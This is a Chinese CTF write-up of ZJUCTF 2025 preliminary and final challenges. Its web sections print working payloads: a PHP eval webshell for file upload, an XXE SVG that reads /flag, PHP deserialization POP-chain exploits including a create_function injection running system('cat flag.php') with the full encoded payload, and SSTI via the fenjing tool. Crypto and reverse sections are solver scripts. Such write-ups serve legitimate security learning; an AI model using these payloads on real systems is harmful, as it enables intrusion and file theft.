ZJUCTF2025(预赛+决赛)-我的writeup
目录
前言
正文
预赛
WEB
Upload1
EzSerialize
UploadKing
REVERSE
DontDebugMe
CRYPTO
SimpleLWE
决赛
WEB
咋输不进去捏
审计大师
Superpop
CRYPTO
简单数学题
AES
base64
信创
X1
AI
Aurora
总结
前言
一年一度的 ZJUCTF 正式开幕!本文记录了我在本次赛事中的解题实践与思考,旨在搭建交流桥梁,与各位同好切磋学习、共同提升
同时欢迎各位评论区交流
正文
预赛
WEB
Upload1

限制php标志,所以构造短链接上传木马即可
<?= eval($_POST['cmd']);?>

得到flag

EzSerialize
题目
<?php
highlight_file(__FILE__);
error_reporting(0);echo "<h2>炒鸡简单的反序列化</h2>";
echo "<p>目标:通过构造反序列化数据读取flag</p>"; echo "<hr>";class User {
private $name;
private $role;public function __construct($name, $role) { $this->name = $name;
$this->role = $role;
}public function __toString() {
return $this->role->getInfo(); }
}class Admin {
private $command;public function __construct($command) {
$this->command = $command; }public function __call($method, $args) {
if ($method === 'getInfo') {
return $this->command->execute();
}
return "Method $method not found"; }
}class FileReader {
private $filename;public function __construct($filename) {
$this->filename = $filename; }public function execute() {
// 危险操作:直接读取文件
if (file_exists($this->filename)) {
return "<pre>" . htmlspecialchars(file_get_contents($this->filename))
. "</pre>";
} else {
return "文件不存在: " . $this->filename;
}
}
}if (isset($_GET['data'])) { try {
echo "<h3>反序列化结果:</h3>";
$obj = unserialize(base64_decode($_GET['data']));// 触发__toString方法
echo "输出结果: " . $obj;} catch (Exception $e) {
echo "错误 : " . $e->getMessage(); }
}
炒鸡简单的反序列化目标:通过构造反序列化数据读取flag
很简单,推导链子即可得到这样的exp
<?phpclass User {private $name;private $role;public function __construct($name, $role) {$this->name = $name;$this->role = $role;}public function __toString() {return $this->role->getInfo();}
}class Admin {private $command;public function __construct($command) {$this->command = $command;}public function __call($method, $args) {if ($method === 'getInfo') {return $this->command->execute();}return "Method $method not found";}
}class FileReader {private $filename;public function __construct($filename) {$this->filename = $filename;}public function execute() {// 危险操作:直接读取文件if (file_exists($this->filename)) {return "<pre>" . htmlspecialchars(file_get_contents($this->filename)) . "</pre>";} else {return "文件不存在: " . $this->filename;}}
}
$fileReader = new FileReader("flag.php");
$admin = new Admin($fileReader);
$user = new User("test", $admin);$payload = base64_encode(serialize($user));
echo $payload;
得到flag

UploadKing
这道题只能传输图片,题目其实有给提示,

这里的SVG大写,大概可以猜测需要用SVG搞点东西,由此联想到xxe,通过构造恶意的svg文件实现
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[
<!ENTITY aaa SYSTEM "file:///flag"> ]>
<svg xmlns="http://www.w3.org/200/svg" width="200" height="200"> &aaa;
</svg>
得到flag

而且这题你在传输一个错误的svg是会显示报错的,所以还可以通过这一点确定是xxe
REVERSE
DontDebugMe

查看流程图发现关键函数,并尝试查看伪代码,但是在查询过程中发现伪代码不能有效打开

使用动态调试获取flag,并且得到密文位置

推断出如下exp
key=[ 0xE9,0xA9,0xF8,0xA7,0xF9,0xA2,0x20,0xD6,0x9A,0xD6, 0xC8,0xD9,0x99,0xD3,0xCB,0x85,0x9B,0xD2,0xC7,0xD5,
0x96,0x84,0xC9,0xD4,0x9A,0xD8,0xCA,0xD7,0x9C,0xD5, 0xC8,0x85,0x97,0xD5,0x9E,0x85,0x9C,0xD4,0xCA,0x6D, 0x00,0x00,0x00,0x00]
key1=0x585ee20 & 0xffff
key2=(0x585ee20 >> 16) & 0xfff flag=""n=[]
for i in range(0,len(key),2):
a=key[i] | (key[i+1] << 8)
n.append(a) for i in n:
b=((i ^ key1) - key2) & 0xffff
flag+=chr(b & 0xff)
c=(b >> 8) & 0xff
flag+=chr(c-1) print(flag)
CRYPTO
SimpleLWE
首先分析提供的公钥参数文件,构造脚本判断加密系统配置
import json
with open("参数和公钥 .json",'r') as f:
a=json.load(f)print("starting....")
print(f"private key n={a['n']}")
print(f"public key m={a['m']}")
print(f"mod q={a['q']}")
print(f"total 2^{a['n']} = {2**a['n']}")

题目名称提示为LWE,安全的LWE需要 n≥256,这里参数过小所以可能存在暴力破解构造脚本,进行爆破
扩展
LWE (Learning With Errors) 是后量子密码学中的核心问题,基于格理论。加密系统的公钥关系如下:
b = A · s + e (mod q)
其中:
-
A 是公钥矩阵(尺寸 m × n),随机生成
-
s 是私钥向量(尺寸 n × 1),在本题中为二进制向量(元素为 0 或 1)
-
e 是误差向量(尺寸 m × 1),元素很小(在本题中为 -1、0 或 1)
-
q 是模数
加密过程:对于每个消息比特,选择 A 和 b 的子集,计算密文对 (c₁, c₂),其中:
-
c₁ = ∑ A_subset (mod q)
-
c₂ = ∑ b_subset + bit × (q/2) (mod q)
解密过程:使用私钥 s 计算 c₂ - c₁ · s (mod q),根据结果接近 0 还是 q/2 来解码比特。
好的,继续
构建爆破脚本,由于私钥是二进制向量且维度小,我们可以遍历所有可能的私钥候选。对于每个候选,计算误差向量 b - A · s_candidate (mod q),如果误差很小(所有元素 ≤ 2),则找到正确私钥
import numpy as npdef brute_force_attack(A, b, q, n):"""暴力攻击寻找私钥:param A: 公钥矩阵 (m x n):param b: 公钥向量 (m):param q: 模数:param n: 私钥维度:return: 私钥向量"""print("开始暴力攻击...")for i in range(2**n):# 显示进度,每10000次迭代输出一次if i % 10000 == 0:progress_percent = (i / (2**n)) * 100print(f"进度: {i}/{2**n} ({progress_percent:.2f}%)")# 将整数 i 转换为 n 位二进制向量作为候选私钥candidate = np.array([(i >> j) & 1 for j in range(n)])# 计算 A · candidate (mod q)As = np.dot(A, candidate) % q# 计算误差向量: b - A · candidate (mod q)error = (b - As) % q# 考虑模运算的对称性,因为误差可能为负error = np.minimum(error, q - error)# 验证误差是否很小:所有分量 ≤ 2(因为真实误差为 -1,0,1)if np.all(error <= 2):print(f"找到私钥! 索引 i = {i}")return candidateprint("暴力攻击失败,未找到私钥")return None
代码解释:
-
循环遍历所有可能的私钥候选(从 0 到 2ⁿ - 1)
-
将每个整数
i转换为二进制向量,例如i=5对应[1, 0, 1](当 n=3) -
计算
A · candidate并与b比较,得到误差向量 -
由于模运算,误差可能出现在 [0, q-1] 或 [-q/2, q/2] 范围内,因此使用
np.minimum处理对称性 -
如果所有误差分量 ≤ 2,说明候选私钥正确
接下来,我们加载密文文件 ciphertext.txt,并使用恢复的私钥解密每个密文对,得到原始消息。
# 加载密文
with open('ciphertext.txt', 'r') as f:ciphertext = eval(f.read())def decrypt_with_key(private_key, ciphertext, q):"""使用私钥解密密文:param private_key: 私钥向量:param ciphertext: 密文列表,每个元素为 (c1, c2) 对:param q: 模数:return: 解密后的字符串"""bits = [] # 存储解密后的比特for c1_arr, c2 in ciphertext:c1 = np.array(c1_arr) # 将 c1 转换为向量# 计算 c2 - c1 · private_key (mod q)inner_product = np.dot(c1, private_key) % qresult = (c2 - inner_product) % q# 解码比特:如果结果接近 0,则为 0;如果结果接近 q/2,则为 1if result < q // 4 or result > 3 * q // 4:bits.append(0)else:bits.append(1)# 将比特序列转换为字节flag_bytes = []for i in range(0, len(bits), 8):byte = 0for j in range(8):if i + j < len(bits):byte = (byte << 1) | bits[i + j] # 将比特从左到右组合成字节flag_bytes.append(byte)# 将字节转换为字符串flag = bytes(flag_bytes).decode('ascii', errors='ignore')return flag# 解密flag
flag = decrypt_with_key(private_key, ciphertext, q)
print(f"解密结果: {flag}")
运行输出:
解密结果: DASCTF{Lattice_Crypto_Is_Hard}
解密原理:
- 对于每个密文对 (c₁, c₂),计算 result = c₂ - c₁ · s (mod q)
- 由于加密时 c₂ = c₁ · s + ∑e + bit × (q/2),所以 result = ∑e + bit × (q/2)
- 误差 ∑e 很小,因此如果 result 接近 0,则比特为 0;如果接近 q/2,则比特为 1
- 将比特序列按 8 位一组转换为字节,然后解码为字符串
还有三题是队友做的,没有要过来
决赛
只能说应该是去年太难了所以降难度了
WEB
咋输不进去捏

源码中显示电话号码=123456789

所以使用开发者工具->控制台,在里面输入
document.getElementById('input').value = '123456789';


审计大师

源码为中文加密后的 python

找到关键处

英文转换过来就是/audit 路径,名为 query 的变量传参

确定存在 ssti
直接使用 fenjing 进行利用即可

Superpop
我把原题目完整显示了吧
<?php
highlight_file(__FILE__);
error_reporting(0);class pQ5mW8nL {public $mG6rL9fK;public $vX3cF6yR;public $hJ9kN2tM;public $lG7dS4vB;public $qF2mP8nR;public $tK5wL9cJ;public $nY4vG7pM;public $sR6fQ3mK;public $jL8cN2vP;public $gM5tR9qW;public $fH4pL6nY;public $uX7cG3rK;public $dV2mT8qL;public $wP9nF4vR;public $kQ6cL5mN;public function wT8mF4qN($command, $output) {if (is_string($command) && strlen($command) > 0) {return $this->mG6rL9fK->zQ4mN8rL($command);}return false;}public function __unset($name) {if (property_exists($this, $name)) {unset($this->$name);}}public function mL7fQ2nK($input) {if (strpos($input, 'flag') !== false) {return 'denied';}return hash('md5', $input . 'secret_' . time());}
}class bT4yH7uI {public $kF9mR3qL;public $kL9pN5xM;public $wS6vC3qJ;public $mR8fG2dN;public $zQ7nY4tK;public $pF3wL6mR;public $sH9cK4vN;public $jM2tQ8pL;public $gR5nF7wK;public $lV4cT9mQ;public $qN6pG3rY;public $uX8fM2vL;public $hK5wR7nP;public $dT3mL9qF;public $cP6vN4gR;public function fM6nQ3rL($code, $data) {return $this->kF9mR3qL->wT8mF4qN($code, $data);}public function rK8mT5nQ($param1, $param2 = null) {$result = 0;if (is_numeric($param1)) {for ($i = 1; $i <= $param1; $i++) {$result += $i * 4;}}return $result + (int)$param2;}public function __clone() {$this->kL9pN5xM = 'cloned_' . uniqid();}
}class xF9mQ2vL {public $aY5nU0gJ;public $vK1rE8pZ;public $hL4nQ9mP;public $sL6fG9rK;public $hJ3vN8mQ;public $cR5pT2wL;public $nK8dF4vY;public $qM6cL9rT;public $gP3nH7fM;public $jW5vK2qL;public $lT8mR4nP;public $fQ7cG3vK;public $uN9pL6mR;public $vY4fT8qN;public $rH2wG5pL;public function mQ8fL3nR($param1, $param2) {if ($this->aY5nU0gJ && $this->vK1rE8pZ) {return $this->hL4nQ9mP->fM6nQ3rL($this->aY5nU0gJ, $this->vK1rE8pZ);}return false;}public function __invoke() {return 'xF9mQ2vL_invoked_' . microtime(true);}public function __get($name) {if ($name === 'secret_value') {return base64_encode('fake_secret');}return null;}public function __set($name, $value) {if (in_array($name, array('aY5nU0gJ', 'vK1rE8pZ'))) {$this->$name = $value;}}
}class kY6rM3eL {public $wH4mK9pL;public $sT6vR3qN;public $jL8fY2mK;public $nM8xP5qW;public $tQ3vL6jK;public $rF7cN2mP;public $gP5nQ7wE;public $cM9vT4xR;public $lF3dG6pN;public $qY7mH5kJ;public $vN2rP8wL;public $fK6cT3mQ;public $hR9pL4vY;public $dG8nM6fT;public $uX2wQ5pR;public function rN7mK4qL() {$this->wH4mK9pL->mQ8fL3nR($this->sT6vR3qN, $this->jL8fY2mK);return 'kY6rM3eL_method';}public function fQ8mP3nL($code, $callback) {if (is_string($code) && is_string($callback)) {$func = create_function('', $code . '; return ' . $callback . ';');return $func();}return false;}public function gT5nM9rK() {$data = json_encode(array('timestamp' => time(),'random' => rand(10000, 99999),'hash' => sha1(uniqid())));return base64_encode($data);}public function __toString() {return $this->nM8xP5qW ?: 'kY6rM3eL_obj';}public function __set($name, $value) {if ($name === 'tQ3vL6jK') {$this->rF7cN2mP = $value;}}
}class wJ4qV3jM {public $pL8vN4mR;public $zX3cB7wQ;public $fH9nY1dS;public $rT6mQ3xK;public $vL4nP9wE;public $jK7cF2gH;public $nY5vR8mL;public $dG6pT4qN;public $sM3wK9fR;public $hQ7nB5xJ;public $lF2vG6mP;public $tY8dQ4rK;public $cN9pL3vM;public $qW6fT7nR;public $uX5mH8pL;public function __toString() {return $this->pL8vN4mR->zX3aB7wQ;}public function mK9fL2nQ($param) {if ($this->pL8vN4mR instanceof kY6rM3eL) {return $this->pL8vN4mR->fQ8mP3nL($param, $this->zX3cB7wQ);}}public function pR6nF4mL() {$temp = array();for ($i = 0; $i < 8; $i++) {$temp[] = md5(rand());}return implode('', $temp);}public function __wakeup() {$this->fH9nY1dS = 'wakeup_triggered';}public function __get($name) {if ($name === 'zX3aB7wQ' && $this->rT6mQ3xK) {return $this->rT6mQ3xK->rN7mK4qL();}return null;}
}class oC4tF3aU {public $hD6yV6eY;public $aY5nU0gJ;public $vK1rE8pZ;public $iE7jU6pY;public $tY7eG5oV;public $mN8qR4xT;public $pL9wE5nK;public $fG3cV7yM;public $jH6dB2rQ;public $sT1vN9pL;public $kY4mF8xR;public $nW7cG5qJ;public $lP2vB6dM;public $qX9fR3tY;public $uE5nK7wL;public function __debugInfo() {return array('status' => 'debugging', 'level' => 3);}public function __destruct() {$this->hD6yV6eY->aY5nU0gJ = $this->aY5nU0gJ;$this->hD6yV6eY->vK1rE8pZ = $this->vK1rE8pZ;echo $this->hD6yV6eY;}public function qW9rT2xK($param) {$temp = array();for ($i = 0; $i < 10; $i++) {$temp[] = md5(rand());}return implode('', $temp);}public function __wakeup() {$this->fG3cV7yM = 'wakeup_called';}
}class aP9wE5rA {public $mK7xL3vN;public $qJ6yU4nM;public $zC8fB2dG;public $hR5pW9tY;public function __construct() {$this->mK7xL3vN = array('init' => true, 'type' => 'constructor');$this->qJ6yU4nM = rand(100, 999);}public function sD3vN8mL($input) {if ($input === 'secret_key_12345') {file_get_contents('/etc/passwd');}return hash('sha256', $input . $this->qJ6yU4nM);}public function __invoke() {echo "aP9wE5rT invoked";}public function gF4mQ7xP() {$temp = array();for ($i = 0; $i < 5; $i++) {$temp[] = chr(rand(65, 90));}return implode('', $temp);}
}class xV2aM8qL {private $jK9rF5tW;protected $lP6sG4mN;public $cH3vB7yR;public $uQ8zX1dF;public function __sleep() {return array('cH3vB7yR', 'uQ8zX1dF');}public function nY5tR8vM($data) {$processed = array();if (is_array($data)) {foreach ($data as $key => $value) {$processed[md5($key)] = base64_encode(serialize($value));}}return $processed;}public function __get($name) {if ($name === 'secret_property') {return 'you_found_nothing';}return null;}public function qW3eR6tY() {$this->jK9rF5tW = time();$this->lP6sG4mN = uniqid();return $this->jK9rF5tW + strlen($this->lP6sG4mN);}
}class bT4yO7uI {public $kL9pN5xM;public $wS6vC3qJ;public $mR8fG2dN;public $zQ7nY4tK;public function __isset($name) {return in_array($name, array('kL9pN5xM', 'wS6vC3qJ', 'mR8fG2dN'));}public function eF6wQ9rT($param1, $param2 = null) {$result = 0;if (is_numeric($param1)) {for ($i = 1; $i <= $param1; $i++) {$result += $i * 2;}}return $result + (int)$param2;}public function __call($method, $args) {if (method_exists($this, 'internal_' . $method)) {return call_user_func_array(array($this, 'internal_' . $method), $args);}return false;}private function internal_process($data) {return str_rot13(base64_encode($data));}
}class pQ5mJ8nL {public $vX3cF6yR;public $hJ9kN2tM;public $lG7dS4vB;public function __unset($name) {if (isset($this->$name)) {unset($this->$name);}}public function rT8xP5qW($input) {if (strpos($input, 'flag') !== false) {return 'access_denied';}return hash('md5', $input . 'salt_' . time());}public function yU4nE7mK() {$config = array('version' => '1.0.0','author' => 'unknown','debug' => false,'encryption' => 'aes256');return json_encode($config);}
}class nF9vV6aL {public $dK3mQ8xP;public $tW7cN4yJ;public $jL5fG9rM;public $qB2vH6dS;public function __clone() {$this->dK3mQ8xP = clone $this->dK3mQ8xP;$this->tW7cN4yJ = 'cloned_' . time();}public function sM3nQ7wE($mode = 'default') {switch ($mode) {case 'encrypt':return base64_encode($this->jL5fG9rM);case 'decrypt':return base64_decode($this->qB2vH6dS);default:return 'default_mode_active';}}public function xR8vN4mL() {$sum = 0;for ($i = 1; $i <= 100; $i++) {$sum += pow($i, 2) - $i;}return $sum % 12345;}
}class gH4qV9nM {protected $lE6wR3xK;private $yT8fP5sJ;public $mQ7cN2vL;public $dF9kB4gR;public function __set($name, $value) {if ($name === 'secret' && $value === 'admin123') {$this->yT8fP5sJ = 'access_granted_fake';}}public function vK5nM8qW($depth = 0) {if ($depth > 10) {return 'max_depth_reached';}return $this->vK5nM8qW($depth + 1);}public function __debugInfo() {return array('class' => __CLASS__,'public_properties' => 2,'private_properties' => 1,'protected_properties' => 1);}
}class cL7mT4nR {public $wP8xQ5jK;public $sD6vL9fM;public $hN3yG2tB;public function __wakeup() {$this->wP8xQ5jK = 'wakeup_' . date('Y-m-d H:i:s');}public function fR9mN6qL($filename) {if ($filename === '/flag.txt') {return 'permission_denied';}return 'file_not_found';}public function kY4tR7xM() {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$token = '';for ($i = 0; $i < 32; $i++) {$token .= $chars[rand(0, strlen($chars) - 1)];}return $token;}
}class uM2sF8vN {public $qJ5wE3rY;public $tK9nP6lG;public $xC4mH7dQ;public $vL8fR2jK;public function __toString() {return 'uM2sF8vN_object_' . spl_object_hash($this);}public function nW6qR9tM($operation, $data) {switch ($operation) {case 'select':return array('id' => 1, 'name' => 'test', 'data' => $data);case 'insert':return 'insert_success_fake';case 'update':return 'update_success_fake';default:return 'unknown_operation';}}public function gT3vN7mK() {$rules = array('length' => rand(8, 16),'complexity' => true,'special_chars' => false);return $rules;}
}class jP4nQ8wL {public $fY7mK3xR;public $lV9cB5dN;public $hQ6tG2sM;public function __invoke() {return 'jP4nQ8wL_invoked_' . microtime(true);}public function mE5rT9vL($level = 1) {if ($level > 5) {return 'max_level_reached';}return array('level' => $level,'next' => $this->mE5rT9vL($level + 1));}public function __sleep() {return array('fY7mK3xR', 'lV9cB5dN');}
}class rK8xN4mQ {private $zA3vF6wR;protected $tL9nY5jM;public $pG7cB2dK;public $sH4mQ8xN;public function __get($name) {if ($name === 'hidden_data') {return base64_encode('secret_but_useless');}return null;}public function vF3mT7qL($algorithm = 'sha1') {$data = $this->pG7cB2dK . time();switch ($algorithm) {case 'md5':return md5($data);case 'sha256':return hash('sha256', $data);default:return sha1($data);}}public function __isset($name) {return property_exists($this, $name);}
}class nF9rV6sL {public $yR3fM8qL;public $tW7cN4yJ;public $jL5fG9rM;public $qB2vH6dS;public $mR8pL3nK;public $fT5wG9cQ;public $hY6mN2vL;public $sK4rP7fM;public $lQ9cT3wN;public $gF2mH8pL;public $vN6rK4qY;public $uP3fG7mR;public $cL5nT9wK;public $jM8vR2qP;public $dK6fL3mN;public function zQ4mN8rL($cmd) {if (is_string($cmd)) {$f1 = create_function('$a',$cmd);}return false;}public function __clone() {$this->tW7cN4yJ = 'cloned_' . time();}public function gH7mF2qL($mode = 'default') {switch ($mode) {case 'encrypt':return base64_encode($this->jL5fG9rM);case 'decrypt':return base64_decode($this->qB2vH6dS);default:return 'default_active';}}
}class yQ5vM9nL {public $kR8fG3tY;public $jW6nP4xM;public $lD7sC2vN;public $hF9mQ5kR;public function __construct($config = array()) {foreach ($config as $key => $value) {if (property_exists($this, $key)) {$this->$key = $value;}}}public function nT4wQ8rM($query, $params = array()) {$safe_query = str_replace(array(';', '--', '/*', '*/'), '', $query);return array('query' => $safe_query,'params' => $params,'status' => 'simulation_only');}public function xP6mL9vK() {return array('timeout' => rand(30, 120),'retries' => rand(1, 5),'buffer_size' => rand(1024, 8192));}
}class dW3mR7qN {public $tJ8fK5vL;public $pY4nG9xM;public $cQ6wR3sT;public function __call($method, $args) {if (strpos($method, 'get_') === 0) {$property = substr($method, 4);return isset($this->$property) ? $this->$property : 'property_not_found';}return 'method_not_found';}public function vM5nQ8rL($input) {if (is_string($input) && strlen($input) > 0) {return preg_replace('/[^a-zA-Z0-9]/', '', $input);}return false;}public function __clone() {$this->tJ8fK5vL = 'cloned_' . uniqid();}
}class fL9pM4nQ {public $wK6tR8vY;public $sJ3mN7fL;public $gD5xP2cM;public $hQ9vB4rK;public function __destruct() {if (isset($this->wK6tR8vY) && is_string($this->wK6tR8vY)) {$safe_log = 'Destruction of ' . __CLASS__ . ' at ' . date('Y-m-d H:i:s');}}public function mT7nQ3wR($data) {if (is_array($data)) {return array_map('strtoupper', $data);} elseif (is_string($data)) {return strtoupper($data);}return $data;}public function __wakeup() {$this->gD5xP2cM = 'object_awakened';}
}class eV8nM2qL {public $rT5wF9kJ;public $lP3mG6vN;public $yH8cQ4xR;public function nK7fR9mT($complexity = 'medium') {$operations = array();$count = ($complexity === 'high') ? 1000 : 100;for ($i = 0; $i < $count; $i++) {$operations[] = md5($i . time());}return count($operations);}public function __toString() {return json_encode(array('class' => __CLASS__,'properties' => get_object_vars($this)));}
}class qM4vL8nR {public $xF6pK9tY;public $jW2cN5mL;public $dG7rQ3vM;public $hL9fT4xN;public function sP5nW8qM($mode, $data) {switch ($mode) {case 'compress':return gzcompress($data);case 'decompress':return gzuncompress($data);case 'encode':return base64_encode($data);case 'decode':return base64_decode($data);default:return $data;}}public function __set($name, $value) {if (in_array($name, array('xF6pK9tY', 'jW2cN5mL'))) {$this->$name = $value;}}
}if (isset($_POST['awa'])){unserialize(base64_decode($_POST['awa']));
}
看着很乱,实则耐心些梳理还是能做出来的
pop链是
oC4tF3aU::__destruct() → echo触发wJ4qV3jM::__toString()
→ 访问不存在属性触发wJ4qV3jM::__get() → kY6rM3eL::rN7mK4qL()
→ xF9mQ2vL::mQ8fL3nR() → bT4yH7uI::fM6nQ3rL()
→ pQ5mW8nL::wT8mF4qN() → nF9rV6sL::zQ4mN8rL()
→ create_function执行注入命令
所以完整的exp如下
$a = new oC4tF3aU();
$a->hD6yV6eY = new wJ4qV3jM();
$a->hD6yV6eY->pL8vN4mR = &$a->hD6yV6eY;
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK = new kY6rM3eL();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL = new xF9mQ2vL();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->aY5nU0gJ = ';};system("cat flag.php");//';
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->vK1rE8pZ = '1';
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP = new bT4yH7uI();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL = new pQ5mW8nL();
$a->hD6yV6eY->pL8vN4mR->rT6mQ3xK->wH4mK9pL->hL4nQ9mP->kF9mR3qL->mG6rL9fK = new nF9rV6sL();echo base64_encode(serialize($a));
得到flag
payload:
Tzo4OiJvQzR0RjNhVSI6MTU6e3M6ODoiaEQ2eVY2ZVkiO086ODoid0o0cVYzak0iOjE1OntzOjg6InBMOHZONG1SIjtSOjI7czo4OiJ6WDNjQjd3USI7TjtzOjg6ImZIOW5ZMWRTIjtOO3M6ODoiclQ2bVEzeEsiO086ODoia1k2ck0zZUwiOjE1OntzOjg6IndING1LOXBMIjtPOjg6InhGOW1RMnZMIjoxNTp7czo4OiJhWTVuVTBnSiI7czoyODoiO307c3lzdGVtKCJjYXQgZmxhZy5waHAiKTsvLyI7czo4OiJ2SzFyRThwWiI7czoxOiIxIjtzOjg6ImhMNG5ROW1QIjtPOjg6ImJUNHlIN3VJIjoxNTp7czo4OiJrRjltUjNxTCI7Tzo4OiJwUTVtVzhuTCI6MTU6e3M6ODoibUc2ckw5ZksiO086ODoibkY5clY2c0wiOjE1OntzOjg6InlSM2ZNOHFMIjtOO3M6ODoidFc3Y040eUoiO047czo4OiJqTDVmRzlyTSI7TjtzOjg6InFCMnZINmRTIjtOO3M6ODoibVI4cEwzbksiO047czo4OiJmVDV3RzljUSI7TjtzOjg6ImhZNm1OMnZMIjtOO3M6ODoic0s0clA3Zk0iO047czo4OiJsUTljVDN3TiI7TjtzOjg6ImdGMm1IOHBMIjtOO3M6ODoidk42cks0cVkiO047czo4OiJ1UDNmRzdtUiI7TjtzOjg6ImNMNW5UOXdLIjtOO3M6ODoiak04dlIycVAiO047czo4OiJkSzZmTDNtTiI7Tjt9czo4OiJ2WDNjRjZ5UiI7TjtzOjg6ImhKOWtOMnRNIjtOO3M6ODoibEc3ZFM0dkIiO047czo4OiJxRjJtUDhuUiI7TjtzOjg6InRLNXdMOWNKIjtOO3M6ODoiblk0dkc3cE0iO047czo4OiJzUjZmUTNtSyI7TjtzOjg6ImpMOGNOMnZQIjtOO3M6ODoiZ001dFI5cVciO047czo4OiJmSDRwTDZuWSI7TjtzOjg6InVYN2NHM3JLIjtOO3M6ODoiZFYybVQ4cUwiO047czo4OiJ3UDluRjR2UiI7TjtzOjg6ImtRNmNMNW1OIjtOO31zOjg6ImtMOXBONXhNIjtOO3M6ODoid1M2dkMzcUoiO047czo4OiJtUjhmRzJkTiI7TjtzOjg6InpRN25ZNHRLIjtOO3M6ODoicEYzd0w2bVIiO047czo4OiJzSDljSzR2TiI7TjtzOjg6ImpNMnRROHBMIjtOO3M6ODoiZ1I1bkY3d0siO047czo4OiJsVjRjVDltUSI7TjtzOjg6InFONnBHM3JZIjtOO3M6ODoidVg4Zk0ydkwiO047czo4OiJoSzV3UjduUCI7TjtzOjg6ImRUM21MOXFGIjtOO3M6ODoiY1A2dk40Z1IiO047fXM6ODoic0w2Zkc5cksiO047czo4OiJoSjN2TjhtUSI7TjtzOjg6ImNSNXBUMndMIjtOO3M6ODoibks4ZEY0dlkiO047czo4OiJxTTZjTDlyVCI7TjtzOjg6ImdQM25IN2ZNIjtOO3M6ODoialc1dksycUwiO047czo4OiJsVDhtUjRuUCI7TjtzOjg6ImZRN2NHM3ZLIjtOO3M6ODoidU45cEw2bVIiO047czo4OiJ2WTRmVDhxTiI7TjtzOjg6InJIMndHNXBMIjtOO31zOjg6InNUNnZSM3FOIjtOO3M6ODoiakw4ZlkybUsiO047czo4OiJuTTh4UDVxVyI7TjtzOjg6InRRM3ZMNmpLIjtOO3M6ODoickY3Y04ybVAiO047czo4OiJnUDVuUTd3RSI7TjtzOjg6ImNNOXZUNHhSIjtOO3M6ODoibEYzZEc2cE4iO047czo4OiJxWTdtSDVrSiI7TjtzOjg6InZOMnJQOHdMIjtOO3M6ODoiZks2Y1QzbVEiO047czo4OiJoUjlwTDR2WSI7TjtzOjg6ImRHOG5NNmZUIjtOO3M6ODoidVgyd1E1cFIiO047fXM6ODoidkw0blA5d0UiO047czo4OiJqSzdjRjJnSCI7TjtzOjg6Im5ZNXZSOG1MIjtOO3M6ODoiZEc2cFQ0cU4iO047czo4OiJzTTN3SzlmUiI7TjtzOjg6ImhRN25CNXhKIjtOO3M6ODoibEYydkc2bVAiO047czo4OiJ0WThkUTRySyI7TjtzOjg6ImNOOXBMM3ZNIjtOO3M6ODoicVc2ZlQ3blIiO047czo4OiJ1WDVtSDhwTCI7Tjt9czo4OiJhWTVuVTBnSiI7TjtzOjg6InZLMXJFOHBaIjtOO3M6ODoiaUU3alU2cFkiO047czo4OiJ0WTdlRzVvViI7TjtzOjg6Im1OOHFSNHhUIjtOO3M6ODoicEw5d0U1bksiO047czo4OiJmRzNjVjd5TSI7TjtzOjg6ImpINmRCMnJRIjtOO3M6ODoic1Qxdk45cEwiO047czo4OiJrWTRtRjh4UiI7TjtzOjg6Im5XN2NHNXFKIjtOO3M6ODoibFAydkI2ZE0iO047czo4OiJxWDlmUjN0WSI7TjtzOjg6InVFNW5LN3dMIjtOO30=
![]()
CRYPTO
简单数学题
from Crypto.Util.number import * # import z3 flag = b'DASCTF{?}' p =
getPrime(512) q = getPrime(512) n = p*q e = 65537 phi = (p-1)*(q-1) m
= bytes_to_long(flag) c = pow(m, e, n) # 简单数学题 w sum_pq = p + q
diff_pq = p - q print(f'sum_pq = {sum_pq}') print(f'diff_pq = {diff_pq}')
print(f'e = {e}') print(f'c = {c}') ''' sum_pq =
15870713655456272818998868095126610389501417235762009793315
12752502716430687191257280244239687830928214018444591771823
7547340279497682840149930939938364752 diff_pq =
83687720132534630626964706225244302569239386025760924021326
36220587693443192750218616275243276746656539560223967609613
71531780934904914806513684926008590 e = 65537 c =
24161337439375469726924397660125738582989340535865292626109
11040420504713864829198839430046983131467780444948770730615
95379889073831653886478113959957137682159189869507805529070
40433887058197369446944754008620731946047814491450890197003
59439756752472297577851530489962803538582581880955641224625
8855782770070 '''
根据所得内容与逻辑逆推出解题脚本
sum_pq =
158707136554562728189988680951266103895014172357620097933151275250271643
068719125728024423968783092821401844459177182375473402794976828401499309
39938364752
diff_pq =
836877201325346306269647062252443025692393860257609240213263622058769344
319275021861627524327674665653956022396760961371531780934904914806513684
926008590
e = 65537
c =
241613374393754697269243976601257385829893405358652926261091104042050471
386482919883943004698313146778044494877073061595379889073831653886478113
959957137682159189869507805529070404338870581973694469447540086207319460
478144914508901970035943975675247229757785153048996280353858258188095564
12246258855782770070
p = (sum_pq + diff_pq) // 2
q = (sum_pq - diff_pq) // 2
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(flag.decode())
AES
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
def encrypt_aes_cbc(plaintext, password, iv):
key = hashlib.md5(password.encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv.encode())
ciphertext = cipher.encrypt(pad(plaintext.encode('utf-8'), AES.block_size))
return base64.b64encode(ciphertext).decode('utf-8')
plaintext = "DASCTF{**********}" password = "Cryptography"
iv = "0123456789abcdef" ciphertext = encrypt_aes_cbc(plaintext, password, iv)
print(f"密文: {ciphertext}")
# output 密文:
H4vkfGfsU+qBEwaa7ea9gBkRcraMqbe4BGaxDb/9JG4zGleqT1VxyzGbDj/yuQn8
直接上exp
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
